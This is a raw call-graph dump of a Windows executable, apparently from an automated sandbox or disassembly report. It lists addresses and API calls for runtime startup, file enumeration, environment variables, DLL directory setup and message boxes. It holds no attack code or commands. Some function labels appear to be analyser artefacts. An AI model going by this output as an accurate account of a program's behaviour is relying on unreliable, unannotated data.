GetLastError 16176->16275 16178 7ff6ffd25cbd 16178->16144 16180 7ff6ffd1c019 16179->16180 16181 7ff6ffd1c070 IsProcessorFeaturePresent 16180->16181 16182 7ff6ffd1c024 16180->16182 16183 7ff6ffd1c088 16181->16183 16292 7ff6ffd1c264 RtlCaptureContext 16183->16292 16189 7ff6ffd2b6cb 16188->16189 16297 7ff6ffd2b3cc 16189->16297 16195 7ff6ffd2b530 16193->16195 16196 7ff6ffd2b55b 16195->16196 16199 7ff6ffd2b5cc 16196->16199 16198 7ff6ffd2b582 16207 7ff6ffd2b314 16199->16207 16202 7ff6ffd2b607 16202->16198 16205 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 16206 7ff6ffd2b697 16205->16206 16208 7ff6ffd2b36b 16207->16208 16209 7ff6ffd2b330 GetLastError 16207->16209 16208->16202 16213 7ff6ffd2b380 16208->16213 16210 7ff6ffd2b340 16209->16210 16216 7ff6ffd2c140 16210->16216 16214 7ff6ffd2b39c GetLastError SetLastError 16213->16214 16215 7ff6ffd2b3b4 16213->16215 16214->16215 16215->16202 16215->16205 16217 7ff6ffd2c17a FlsSetValue 16216->16217 16218 7ff6ffd2c15f FlsGetValue 16216->16218 16220 7ff6ffd2c187 16217->16220 16221 7ff6ffd2b35b SetLastError 16217->16221 16219 7ff6ffd2c174 16218->16219 16218->16221 16219->16217 16233 7ff6ffd2f948 16220->16233 16221->16208 16224 7ff6ffd2c1b4 FlsSetValue 16226 7ff6ffd2c1c0 FlsSetValue 16224->16226 16227 7ff6ffd2c1d2 16224->16227 16225 7ff6ffd2c1a4 FlsSetValue 16228 7ff6ffd2c1ad 16225->16228 16226->16228 16246 7ff6ffd2bcac 16227->16246 16240 7ff6ffd2b700 16228->16240 16238 7ff6ffd2f959 memcpy_s 16233->16238 16234 7ff6ffd2f9aa 16236 7ff6ffd25cb4 memcpy_s 10 API calls 16234->16236 16235 7ff6ffd2f98e RtlAllocateHeap 16237 7ff6ffd2c196 16235->16237 16235->16238 16236->16237 16237->16224 16237->16225 16238->16234 16238->16235 16251 7ff6ffd343e0 16238->16251 16241 7ff6ffd2b705 RtlDeleteBoundaryDescriptor 16240->16241 16245 7ff6ffd2b734 16240->16245 16242 7ff6ffd2b720 GetLastError 16241->16242 16241->16245 16243 7ff6ffd2b72d __free_lconv_num 16242->16243 16244 7ff6ffd25cb4 memcpy_s 9 API calls 16243->16244 16244->16245 16245->16221 16260 7ff6ffd2bb84 16246->16260 16254 7ff6ffd34420 16251->16254 16259 7ff6ffd311a8 EnterCriticalSection 16254->16259 16272 7ff6ffd311a8 EnterCriticalSection 16260->16272 16276 7ff6ffd2c0b9 FlsSetValue 16275->16276 16281 7ff6ffd2c09c 16275->16281 16277 7ff6ffd2c0cb 16276->16277 16280 7ff6ffd2c0a9 16276->16280 16279 7ff6ffd2f948 memcpy_s 5 API calls 16277->16279 16278 7ff6ffd2c125 SetLastError 16278->16178 16282 7ff6ffd2c0da 16279->16282 16280->16278 16281->16276 16281->16280 16283 7ff6ffd2c0f8 FlsSetValue 16282->16283 16284 7ff6ffd2c0e8 FlsSetValue 16282->16284 16286 7ff6ffd2c116 16283->16286 16287 7ff6ffd2c104 FlsSetValue 16283->16287 16285 7ff6ffd2c0f1 16284->16285 16288 7ff6ffd2b700 __free_lconv_num 5 API calls 16285->16288 16289 7ff6ffd2bcac memcpy_s 5 API calls 16286->16289 16287->16285 16288->16280 16290 7ff6ffd2c11e 16289->16290 16291 7ff6ffd2b700 __free_lconv_num 5 API calls 16290->16291 16291->16278 16293 7ff6ffd1c27e RtlLookupFunctionEntry 16292->16293 16294 7ff6ffd1c09b 16293->16294 16295 7ff6ffd1c294 RtlVirtualUnwind 16293->16295 16296 7ff6ffd1c030 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 16294->16296 16295->16293 16295->16294 16298 7ff6ffd2b406 _wfindfirst32i64 memcpy_s 16297->16298 16299 7ff6ffd2b42e RtlCaptureContext RtlLookupFunctionEntry 16298->16299 16300 7ff6ffd2b468 RtlVirtualUnwind 16299->16300 16301 7ff6ffd2b49e IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16299->16301 16300->16301 16302 7ff6ffd2b4f0 _wfindfirst32i64 16301->16302 16303 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16302->16303 16304 7ff6ffd2b50f GetCurrentProcess TerminateProcess 16303->16304 16305 7ff6ffd1b2dc 16306 7ff6ffd1a5da 16305->16306 16308 7ff6ffd1a656 16306->16308 16309 7ff6ffd1b850 16306->16309 16310 7ff6ffd1b88f memcpy_s 16309->16310 16311 7ff6ffd1b873 16309->16311 16310->16308 16313 7ff6ffd2e3ac 16311->16313 16314 7ff6ffd2e3f7 16313->16314 16318 7ff6ffd2e3bb memcpy_s 16313->16318 16316 7ff6ffd25cb4 memcpy_s 11 API calls 16314->16316 16315 7ff6ffd2e3de RtlAllocateHeap 16317 7ff6ffd2e3f5 16315->16317 16315->16318 16316->16317 16317->16310 16318->16314 16318->16315 16319 7ff6ffd343e0 memcpy_s 2 API calls 16318->16319 16319->16318 20096 7ff6ffd1c2e0 20097 7ff6ffd1c2f0 20096->20097 20113 7ff6ffd2a95c 20097->20113 20099 7ff6ffd1c2fc 20119 7ff6ffd1c5d8 20099->20119 20101 7ff6ffd1c314 _RTC_Initialize 20111 7ff6ffd1c369 20101->20111 20124 7ff6ffd1c788 20101->20124 20102 7ff6ffd1c8bc 7 API calls 20103 7ff6ffd1c395 20102->20103 20105 7ff6ffd1c329 20127 7ff6ffd29dc8 20105->20127 20111->20102 20112 7ff6ffd1c385 20111->20112 20114 7ff6ffd2a96d 20113->20114 20115 7ff6ffd25cb4 memcpy_s 11 API calls 20114->20115 20117 7ff6ffd2a975 20114->20117 20116 7ff6ffd2a984 20115->20116 20118 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 20116->20118 20117->20099 20118->20117 20120 7ff6ffd1c5e9 20119->20120 20123 7ff6ffd1c5ee __scrt_release_startup_lock 20119->20123 20121 7ff6ffd1c8bc 7 API calls 20120->20121 20120->20123 20122 7ff6ffd1c662 20121->20122 20123->20101 20152 7ff6ffd1c74c 20124->20152 20126 7ff6ffd1c791 20126->20105 20128 7ff6ffd29de8 20127->20128 20129 7ff6ffd1c335 20127->20129 20130 7ff6ffd29e06 GetModuleFileNameW 20128->20130 20131 7ff6ffd29df0 20128->20131 20129->20111 20151 7ff6ffd1c85c InitializeSListHead 20129->20151 20135 7ff6ffd29e31 20130->20135 20132 7ff6ffd25cb4 memcpy_s 11 API calls 20131->20132 20133 7ff6ffd29df5 20132->20133 20134 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 20133->20134 20134->20129 20167 7ff6ffd29d68 20135->20167 20138 7ff6ffd29e79 20139 7ff6ffd25cb4 memcpy_s 11 API calls 20138->20139 20140 7ff6ffd29e7e 20139->20140 20143 7ff6ffd2b700 __free_lconv_num 11 API calls 20140->20143 20141 7ff6ffd29e91 20142 7ff6ffd29eb3 20141->20142 20145 7ff6ffd29ef8 20141->20145 20146 7ff6ffd29edf 20141->20146 20144 7ff6ffd2b700 __free_lconv_num 11 API calls 20142->20144 20143->20129 20144->20129 20149 7ff6ffd2b700 __free_lconv_num 11 API calls 20145->20149 20147 7ff6ffd2b700 __free_lconv_num 11 API calls 20146->20147 20148 7ff6ffd29ee8 20147->20148 20150 7ff6ffd2b700 __free_lconv_num 11 API calls 20148->20150 20149->20142 20150->20129 20153 7ff6ffd1c766 20152->20153 20155 7ff6ffd1c75f 20152->20155 20156 7ff6ffd2af9c 20153->20156 20155->20126 20159 7ff6ffd2abd8 20156->20159 20166 7ff6ffd311a8 EnterCriticalSection 20159->20166 20168 7ff6ffd29db8 20167->20168 20169 7ff6ffd29d80 20167->20169 20168->20138 20168->20141 20169->20168 20170 7ff6ffd2f948 memcpy_s 11 API calls 20169->20170 20171 7ff6ffd29dae 20170->20171 20172 7ff6ffd2b700 __free_lconv_num 11 API calls 20171->20172 20172->20168 20932 7ff6ffd1a76d 20934 7ff6ffd1a772 20932->20934 20933 7ff6ffd1a8da 20937 7ff6ffd1b960 12 API calls 20933->20937 20941 7ff6ffd1a443 20933->20941 20934->20933 20934->20941 20942 7ff6ffd1b960 20934->20942 20935 7ff6ffd1b850 12 API calls 20939 7ff6ffd1a656 20935->20939 20938 7ff6ffd1abe8 20937->20938 20940 7ff6ffd1b960 12 API calls 20938->20940 20940->20941 20941->20935 20941->20939 20943 7ff6ffd1b9c0 20942->20943 20944 7ff6ffd1befa 20943->20944 20946 7ff6ffd1b9df 20943->20946 20945 7ff6ffd1c144 8 API calls 20944->20945 20947 7ff6ffd1beff 20945->20947 20948 7ff6ffd1c010 _wfindfirst32i64 8 API calls 20946->20948 20949 7ff6ffd1bedc 20948->20949 20949->20933 19885 7ff6ffd28670 19886 7ff6ffd286d7 19885->19886 19887 7ff6ffd2869e 19885->19887 19886->19887 19888 7ff6ffd286dc FindFirstFileExW 19886->19888 19889 7ff6ffd25cb4 memcpy_s 11 API calls 19887->19889 19890 7ff6ffd286fe GetLastError 19888->19890 19891 7ff6ffd28745 19888->19891 19892 7ff6ffd286a3 19889->19892 19894 7ff6ffd28709 19890->19894 19895 7ff6ffd28735 19890->19895 19945 7ff6ffd288e0 19891->19945 19896 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19892->19896 19894->19895 19901 7ff6ffd28725 19894->19901 19902 7ff6ffd28713 19894->19902 19899 7ff6ffd25cb4 memcpy_s 11 API calls 19895->19899 19898 7ff6ffd286ae 19896->19898 19903 7ff6ffd1c010 _wfindfirst32i64 8 API calls 19898->19903 19899->19898 19900 7ff6ffd288e0 _wfindfirst32i64 10 API calls 19904 7ff6ffd2876b 19900->19904 19906 7ff6ffd25cb4 memcpy_s 11 API calls 19901->19906 19902->19895 19905 7ff6ffd28718 19902->19905 19907 7ff6ffd286c2 19903->19907 19908 7ff6ffd288e0 _wfindfirst32i64 10 API calls 19904->19908 19909 7ff6ffd25cb4 memcpy_s 11 API calls 19905->19909 19906->19898 19910 7ff6ffd28779 19908->19910 19909->19898 19911 7ff6ffd31344 _wfindfirst32i64 37 API calls 19910->19911 19912 7ff6ffd28797 19911->19912 19912->19898 19913 7ff6ffd287a3 19912->19913 19914 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 19913->19914 19915 7ff6ffd287b7 19914->19915 19916 7ff6ffd287e1 19915->19916 19919 7ff6ffd28820 FindNextFileW 19915->19919 19917 7ff6ffd25cb4 memcpy_s 11 API calls 19916->19917 19918 7ff6ffd287e6 19917->19918 19920 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19918->19920 19921 7ff6ffd28870 19919->19921 19922 7ff6ffd2882f GetLastError 19919->19922 19923 7ff6ffd287f1 19920->19923 19924 7ff6ffd288e0 _wfindfirst32i64 10 API calls 19921->19924 19925 7ff6ffd2883a 19922->19925 19926 7ff6ffd28863 19922->19926 19929 7ff6ffd1c010 _wfindfirst32i64 8 API calls 19923->19929 19928 7ff6ffd28888 19924->19928 19925->19926 19931 7ff6ffd28856 19925->19931 19932 7ff6ffd28844 19925->19932 19927 7ff6ffd25cb4 memcpy_s 11 API calls 19926->19927 19927->19923 19930 7ff6ffd288e0 _wfindfirst32i64 10 API calls 19928->19930 19934 7ff6ffd28804 19929->19934 19935 7ff6ffd28896 19930->19935 19933 7ff6ffd25cb4 memcpy_s 11 API calls 19931->19933 19932->19926 19936 7ff6ffd28849 19932->19936 19933->19923 19937 7ff6ffd288e0 _wfindfirst32i64 10 API calls 19935->19937 19938 7ff6ffd25cb4 memcpy_s 11 API calls 19936->19938 19939 7ff6ffd288a4 19937->19939 19938->19923 19940 7ff6ffd31344 _wfindfirst32i64 37 API calls 19939->19940 19941 7ff6ffd288c2 19940->19941 19941->19923 19942 7ff6ffd288ca 19941->19942 19943 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 19942->19943 19944 7ff6ffd288de 19943->19944 19946 7ff6ffd288f8 19945->19946 19947 7ff6ffd288fe FileTimeToSystemTime 19945->19947 19946->19947 19949 7ff6ffd28923 19946->19949 19948 7ff6ffd2890d SystemTimeToTzSpecificLocalTime 19947->19948 19947->19949 19948->19949 19950 7ff6ffd1c010 _wfindfirst32i64 8 API calls 19949->19950 19951 7ff6ffd2875d 19950->19951 19951->19900 16320 7ff6ffd1c3cc 16341 7ff6ffd1c59c 16320->16341 16323 7ff6ffd1c518 16445 7ff6ffd1c8bc IsProcessorFeaturePresent 16323->16445 16324 7ff6ffd1c3e8 __scrt_acquire_startup_lock 16326 7ff6ffd1c522 16324->16326 16333 7ff6ffd1c406 __scrt_release_startup_lock 16324->16333 16327 7ff6ffd1c8bc 7 API calls 16326->16327 16329 7ff6ffd1c52d __CxxCallCatchBlock 16327->16329 16328 7ff6ffd1c42b 16330 7ff6ffd1c4b1 16347 7ff6ffd1ca04 16330->16347 16332 7ff6ffd1c4b6 16350 7ff6ffd11000 16332->16350 16333->16328 16333->16330 16434 7ff6ffd2a8e0 16333->16434 16338 7ff6ffd1c4d9 16338->16329 16441 7ff6ffd1c720 16338->16441 16342 7ff6ffd1c5a4 16341->16342 16343 7ff6ffd1c5b0 __scrt_dllmain_crt_thread_attach 16342->16343 16344 7ff6ffd1c5bd 16343->16344 16345 7ff6ffd1c3e0 16343->16345 16344->16345 16452 7ff6ffd1d1c0 16344->16452 16345->16323 16345->16324 16479 7ff6ffd3b580 16347->16479 16349 7ff6ffd1ca1b GetStartupInfoW 16349->16332 16351 7ff6ffd1100b 16350->16351 16481 7ff6ffd189b0 16351->16481 16353 7ff6ffd1101d 16488 7ff6ffd266e8 16353->16488 16355 7ff6ffd139ab 16495 7ff6ffd11ea0 16355->16495 16359 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16360 7ff6ffd13b73 16359->16360 16439 7ff6ffd1ca48 GetModuleHandleW 16360->16439 16361 7ff6ffd139ca 16386 7ff6ffd13ab2 16361->16386 16520 7ff6ffd17d70 16361->16520 16363 7ff6ffd139ff 16365 7ff6ffd17d70 61 API calls 16363->16365 16380 7ff6ffd13a4b 16363->16380 16367 7ff6ffd13a20 __std_exception_destroy 16365->16367 16366 7ff6ffd13a60 16539 7ff6ffd11ca0 16366->16539 16374 7ff6ffd18250 58 API calls 16367->16374 16367->16380 16370 7ff6ffd11ca0 121 API calls 16373 7ff6ffd13a96 16370->16373 16371 7ff6ffd13b2d 16372 7ff6ffd13b8d 16371->16372 16558 7ff6ffd18b80 16371->16558 16377 7ff6ffd13bdb 16372->16377 16372->16386 16582 7ff6ffd18de0 16372->16582 16375 7ff6ffd13ab7 16373->16375 16376 7ff6ffd13a9a 16373->16376 16374->16380 16375->16371 16671 7ff6ffd14060 16375->16671 16658 7ff6ffd12b10 16376->16658 16596 7ff6ffd16ff0 16377->16596 16535 7ff6ffd18250 16380->16535 16383 7ff6ffd13bc0 16388 7ff6ffd13bce SetDllDirectoryW 16383->16388 16389 7ff6ffd13b53 16383->16389 16386->16359 16388->16377 16394 7ff6ffd12b10 59 API calls 16389->16394 16393 7ff6ffd13ad5 16399 7ff6ffd12b10 59 API calls 16393->16399 16394->16386 16396 7ff6ffd13bf5 16424 7ff6ffd13c27 16396->16424 16703 7ff6ffd16800 16396->16703 16397 7ff6ffd13b03 16397->16371 16400 7ff6ffd13b08 16397->16400 16398 7ff6ffd13d11 16600 7ff6ffd134a0 16398->16600 16399->16386 16690 7ff6ffd2097c 16400->16690 16406 7ff6ffd13c46 16414 7ff6ffd13c88 16406->16414 16739 7ff6ffd11ee0 16406->16739 16407 7ff6ffd13c29 16413 7ff6ffd16a50 FreeLibrary 16407->16413 16410 7ff6ffd13cb9 PostMessageW GetMessageW 16411 7ff6ffd13cdc 16410->16411 16743 7ff6ffd13440 16411->16743 16413->16424 16414->16386 16414->16410 16414->16411 16416 7ff6ffd13d2b 16608 7ff6ffd181e0 16416->16608 16419 7ff6ffd13d3e 16422 7ff6ffd17d70 61 API calls 16419->16422 16425 7ff6ffd13d4a 16422->16425 16423 7ff6ffd13cec 16426 7ff6ffd16a50 FreeLibrary 16423->16426 16424->16398 16424->16406 16427 7ff6ffd13d57 PostMessageW GetMessageW 16425->16427 16428 7ff6ffd13d7a 16425->16428 16426->16386 16427->16428 16435 7ff6ffd2a918 16434->16435 16436 7ff6ffd2a8f7 16434->16436 19277 7ff6ffd2b188 16435->19277 16436->16330 16440 7ff6ffd1ca59 16439->16440 16440->16338 16443 7ff6ffd1c731 16441->16443 16442 7ff6ffd1c4f0 16442->16328 16443->16442 16444 7ff6ffd1d1c0 7 API calls 16443->16444 16444->16442 16446 7ff6ffd1c8e2 _wfindfirst32i64 memcpy_s 16445->16446 16447 7ff6ffd1c901 RtlCaptureContext RtlLookupFunctionEntry 16446->16447 16448 7ff6ffd1c966 memcpy_s 16447->16448 16449 7ff6ffd1c92a RtlVirtualUnwind 16447->16449 16450 7ff6ffd1c998 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16448->16450 16449->16448 16451 7ff6ffd1c9e6 _wfindfirst32i64 16450->16451 16451->16326 16453 7ff6ffd1d1c8 16452->16453 16454 7ff6ffd1d1d2 16452->16454 16458 7ff6ffd1d564 16453->16458 16454->16345 16459 7ff6ffd1d1cd 16458->16459 16460 7ff6ffd1d573 16458->16460 16462 7ff6ffd1d5d0 16459->16462 16466 7ff6ffd1e560 16460->16466 16463 7ff6ffd1d5fb 16462->16463 16464 7ff6ffd1d5ff 16463->16464 16465 7ff6ffd1d5de DeleteCriticalSection 16463->16465 16464->16454 16465->16463 16470 7ff6ffd1e3c8 16466->16470 16471 7ff6ffd1e40c __vcrt_InitializeCriticalSectionEx 16470->16471 16477 7ff6ffd1e4b2 TlsFree 16470->16477 16472 7ff6ffd1e43a LoadLibraryExW 16471->16472 16475 7ff6ffd1e4f9 GetProcAddress 16471->16475 16471->16477 16478 7ff6ffd1e47d LoadLibraryExW 16471->16478 16473 7ff6ffd1e4d9 16472->16473 16474 7ff6ffd1e45b GetLastError 16472->16474 16473->16475 16476 7ff6ffd1e4f0 FreeLibrary 16473->16476 16474->16471 16475->16477 16476->16475 16478->16471 16478->16473 16480 7ff6ffd3b570 16479->16480 16480->16349 16480->16480 16483 7ff6ffd189cf 16481->16483 16482 7ff6ffd18a20 WideCharToMultiByte 16482->16483 16485 7ff6ffd18ac6 16482->16485 16483->16482 16483->16485 16486 7ff6ffd18a74 WideCharToMultiByte 16483->16486 16487 7ff6ffd189d7 __std_exception_destroy 16483->16487 16777 7ff6ffd129c0 16485->16777 16486->16483 16486->16485 16487->16353 16491 7ff6ffd30840 16488->16491 16489 7ff6ffd30893 16490 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16489->16490 16494 7ff6ffd308bc 16490->16494 16491->16489 16492 7ff6ffd308e6 16491->16492 17167 7ff6ffd30718 16492->17167 16494->16355 16496 7ff6ffd11eb5 16495->16496 16497 7ff6ffd11ed0 16496->16497 17175 7ff6ffd12870 16496->17175 16497->16386 16499 7ff6ffd13f00 16497->16499 16500 7ff6ffd1bfb0 16499->16500 16501 7ff6ffd13f0c GetModuleFileNameW 16500->16501 16502 7ff6ffd13f3e 16501->16502 16503 7ff6ffd13f55 16501->16503 16504 7ff6ffd129c0 57 API calls 16502->16504 17215 7ff6ffd18ef0 16503->17215 16512 7ff6ffd13f51 16504->16512 16507 7ff6ffd13f80 17226 7ff6ffd140e0 16507->17226 16508 7ff6ffd13f70 16509 7ff6ffd12b10 59 API calls 16508->16509 16509->16512 16511 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16514 7ff6ffd13fd9 16511->16514 16512->16511 16514->16361 16515 7ff6ffd11ee0 49 API calls 16516 7ff6ffd13fa5 16515->16516 16516->16512 16517 7ff6ffd13fac 16516->16517 17234 7ff6ffd14340 16517->17234 16521 7ff6ffd17d7a 16520->16521 16522 7ff6ffd18de0 57 API calls 16521->16522 16523 7ff6ffd17d9c GetEnvironmentVariableW 16522->16523 16524 7ff6ffd17e06 16523->16524 16525 7ff6ffd17db4 ExpandEnvironmentStringsW 16523->16525 16527 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16524->16527 16526 7ff6ffd18ef0 59 API calls 16525->16526 16528 7ff6ffd17ddc 16526->16528 16529 7ff6ffd17e18 16527->16529 16528->16524 16530 7ff6ffd17de6 16528->16530 16529->16363 17249 7ff6ffd2b1bc 16530->17249 16533 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16534 7ff6ffd17dfe 16533->16534 16534->16363 16536 7ff6ffd18de0 57 API calls 16535->16536 16537 7ff6ffd18267 SetEnvironmentVariableW 16536->16537 16538 7ff6ffd1827f __std_exception_destroy 16537->16538 16538->16366 16540 7ff6ffd11cae 16539->16540 16541 7ff6ffd11ee0 49 API calls 16540->16541 16542 7ff6ffd11ce4 16541->16542 16543 7ff6ffd11dce 16542->16543 16544 7ff6ffd11ee0 49 API calls 16542->16544 16546 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16543->16546 16545 7ff6ffd11d0a 16544->16545 16545->16543 17256 7ff6ffd11a90 16545->17256 16547 7ff6ffd11e5c 16546->16547 16547->16370 16547->16371 16551 7ff6ffd11dbc 16552 7ff6ffd13e80 49 API calls 16551->16552 16552->16543 16553 7ff6ffd11d7f 16553->16551 16554 7ff6ffd11e24 16553->16554 16555 7ff6ffd13e80 49 API calls 16554->16555 16556 7ff6ffd11e31 16555->16556 17292 7ff6ffd14140 16556->17292 16559 7ff6ffd18b95 16558->16559 17334 7ff6ffd18860 GetCurrentProcess OpenProcessToken 16559->17334 16562 7ff6ffd18860 7 API calls 16563 7ff6ffd18bc1 16562->16563 16564 7ff6ffd18bda 16563->16564 16565 7ff6ffd18bf4 16563->16565 17344 7ff6ffd18950 16564->17344 16567 7ff6ffd18950 48 API calls 16565->16567 16569 7ff6ffd18c07 LocalFree LocalFree 16567->16569 16570 7ff6ffd18c23 16569->16570 16572 7ff6ffd18c2f 16569->16572 17348 7ff6ffd12c30 16570->17348 16573 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16572->16573 16574 7ff6ffd13b4e 16573->16574 16574->16389 16575 7ff6ffd114e0 16574->16575 16576 7ff6ffd1156f 16575->16576 16577 7ff6ffd114f6 16575->16577 16576->16372 17555 7ff6ffd17b60 16577->17555 16583 7ff6ffd18e87 MultiByteToWideChar 16582->16583 16584 7ff6ffd18e01 MultiByteToWideChar 16582->16584 16585 7ff6ffd18eaa 16583->16585 16586 7ff6ffd18ecf 16583->16586 16587 7ff6ffd18e27 16584->16587 16588 7ff6ffd18e4c 16584->16588 16590 7ff6ffd129c0 55 API calls 16585->16590 16586->16383 16589 7ff6ffd129c0 55 API calls 16587->16589 16588->16583 16593 7ff6ffd18e62 16588->16593 16591 7ff6ffd18e3a 16589->16591 16592 7ff6ffd18ebd 16590->16592 16591->16383 16592->16383 16594 7ff6ffd129c0 55 API calls 16593->16594 16595 7ff6ffd18e75 16594->16595 16595->16383 16597 7ff6ffd17005 16596->16597 16598 7ff6ffd13be0 16597->16598 16599 7ff6ffd12870 59 API calls 16597->16599 16598->16424 16694 7ff6ffd16ca0 16598->16694 16599->16598 16601 7ff6ffd13554 16600->16601 16605 7ff6ffd13513 16600->16605 16602 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16601->16602 16603 7ff6ffd135a5 16602->16603 16603->16386 16607 7ff6ffd18b50 LocalFree 16603->16607 16605->16601 17887 7ff6ffd11700 16605->17887 17929 7ff6ffd12d50 16605->17929 16607->16416 16609 7ff6ffd18de0 57 API calls 16608->16609 16610 7ff6ffd181ff 16609->16610 16611 7ff6ffd18de0 57 API calls 16610->16611 16612 7ff6ffd1820f 16611->16612 16613 7ff6ffd28610 38 API calls 16612->16613 16614 7ff6ffd1821d __std_exception_destroy 16613->16614 16614->16419 16659 7ff6ffd12b30 16658->16659 16660 7ff6ffd252b4 49 API calls 16659->16660 16661 7ff6ffd12b7b memcpy_s 16660->16661 16662 7ff6ffd18de0 57 API calls 16661->16662 16663 7ff6ffd12bb0 16662->16663 16664 7ff6ffd12bed MessageBoxA 16663->16664 16665 7ff6ffd12bb5 16663->16665 16667 7ff6ffd12c07 16664->16667 16666 7ff6ffd18de0 57 API calls 16665->16666 16668 7ff6ffd12bcf MessageBoxW 16666->16668 16669 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16667->16669 16668->16667 16670 7ff6ffd12c17 16669->16670 16670->16386 16672 7ff6ffd1406c 16671->16672 16673 7ff6ffd18de0 57 API calls 16672->16673 16674 7ff6ffd14097 16673->16674 16675 7ff6ffd18de0 57 API calls 16674->16675 16676 7ff6ffd140aa 16675->16676 18457 7ff6ffd269e4 16676->18457 16679 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16680 7ff6ffd13acd 16679->16680 16680->16393 16681 7ff6ffd184c0 16680->16681 16682 7ff6ffd184e4 16681->16682 16683 7ff6ffd21004 73 API calls 16682->16683 16684 7ff6ffd185bb __std_exception_destroy 16682->16684 16685 7ff6ffd184fe 16683->16685 16684->16397 16685->16684 18836 7ff6ffd29894 16685->18836 16691 7ff6ffd209ac 16690->16691 18851 7ff6ffd20758 16691->18851 16695 7ff6ffd16cda 16694->16695 16696 7ff6ffd16cc3 16694->16696 16695->16396 16696->16695 18862 7ff6ffd11590 16696->18862 16698 7ff6ffd16ce4 16698->16695 16699 7ff6ffd14140 49 API calls 16698->16699 16701 7ff6ffd16d45 16699->16701 16700 7ff6ffd12b10 59 API calls 16700->16695 16701->16700 16702 7ff6ffd16db5 __std_exception_destroy memcpy_s 16701->16702 16702->16396 16704 7ff6ffd1681a memcpy_s 16703->16704 16705 7ff6ffd1693f 16704->16705 16707 7ff6ffd1695b 16704->16707 16711 7ff6ffd14140 49 API calls 16704->16711 16712 7ff6ffd16920 16704->16712 16720 7ff6ffd11700 135 API calls 16704->16720 16721 7ff6ffd16941 16704->16721 18886 7ff6ffd11940 16704->18886 16708 7ff6ffd14140 49 API calls 16705->16708 16709 7ff6ffd12b10 59 API calls 16707->16709 16710 7ff6ffd169b8 16708->16710 16714 7ff6ffd16951 __std_exception_destroy 16709->16714 16713 7ff6ffd14140 49 API calls 16710->16713 16711->16704 16712->16705 16715 7ff6ffd14140 49 API calls 16712->16715 16716 7ff6ffd169e8 16713->16716 16717 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16714->16717 16715->16705 16719 7ff6ffd14140 49 API calls 16716->16719 16718 7ff6ffd13c06 16717->16718 16718->16407 16723 7ff6ffd16780 16718->16723 16719->16714 16720->16704 16722 7ff6ffd12b10 59 API calls 16721->16722 16722->16714 18891 7ff6ffd18470 16723->18891 16725 7ff6ffd1679c 16726 7ff6ffd18470 58 API calls 16725->16726 16727 7ff6ffd167af 16726->16727 16728 7ff6ffd167e5 16727->16728 16730 7ff6ffd167c7 16727->16730 16740 7ff6ffd11f05 16739->16740 16741 7ff6ffd252b4 49 API calls 16740->16741 16742 7ff6ffd11f28 16741->16742 16742->16414 18954 7ff6ffd15dd0 16743->18954 16746 7ff6ffd1348d 16746->16423 16796 7ff6ffd1bfb0 16777->16796 16780 7ff6ffd12a09 16798 7ff6ffd252b4 16780->16798 16785 7ff6ffd11ee0 49 API calls 16786 7ff6ffd12a66 memcpy_s 16785->16786 16787 7ff6ffd18de0 54 API calls 16786->16787 16788 7ff6ffd12a9b 16787->16788 16789 7ff6ffd12ad8 MessageBoxA 16788->16789 16790 7ff6ffd12aa0 16788->16790 16792 7ff6ffd12af2 16789->16792 16791 7ff6ffd18de0 54 API calls 16790->16791 16793 7ff6ffd12aba MessageBoxW 16791->16793 16794 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16792->16794 16793->16792 16795 7ff6ffd12b02 16794->16795 16795->16487 16797 7ff6ffd129dc GetLastError 16796->16797 16797->16780 16800 7ff6ffd2530e 16798->16800 16799 7ff6ffd25333 16801 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16799->16801 16800->16799 16802 7ff6ffd2536f 16800->16802 16804 7ff6ffd2535d 16801->16804 16828 7ff6ffd23540 16802->16828 16806 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16804->16806 16805 7ff6ffd2544c 16807 7ff6ffd2b700 __free_lconv_num 11 API calls 16805->16807 16808 7ff6ffd12a37 16806->16808 16807->16804 16816 7ff6ffd18770 16808->16816 16810 7ff6ffd25421 16813 7ff6ffd2b700 __free_lconv_num 11 API calls 16810->16813 16811 7ff6ffd25470 16811->16805 16812 7ff6ffd2547a 16811->16812 16815 7ff6ffd2b700 __free_lconv_num 11 API calls 16812->16815 16813->16804 16814 7ff6ffd25418 16814->16805 16814->16810 16815->16804 16817 7ff6ffd1877c 16816->16817 16818 7ff6ffd18797 GetLastError 16817->16818 16819 7ff6ffd1879d FormatMessageW 16817->16819 16818->16819 16820 7ff6ffd187ec WideCharToMultiByte 16819->16820 16821 7ff6ffd187d0 16819->16821 16823 7ff6ffd18826 16820->16823 16824 7ff6ffd187e3 16820->16824 16822 7ff6ffd129c0 54 API calls 16821->16822 16822->16824 16825 7ff6ffd129c0 54 API calls 16823->16825 16826 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16824->16826 16825->16824 16827 7ff6ffd12a3e 16826->16827 16827->16785 16829 7ff6ffd2357e 16828->16829 16830 7ff6ffd2356e 16828->16830 16831 7ff6ffd23587 16829->16831 16835 7ff6ffd235b5 16829->16835 16834 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16830->16834 16832 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16831->16832 16833 7ff6ffd235ad 16832->16833 16833->16805 16833->16810 16833->16811 16833->16814 16834->16833 16835->16830 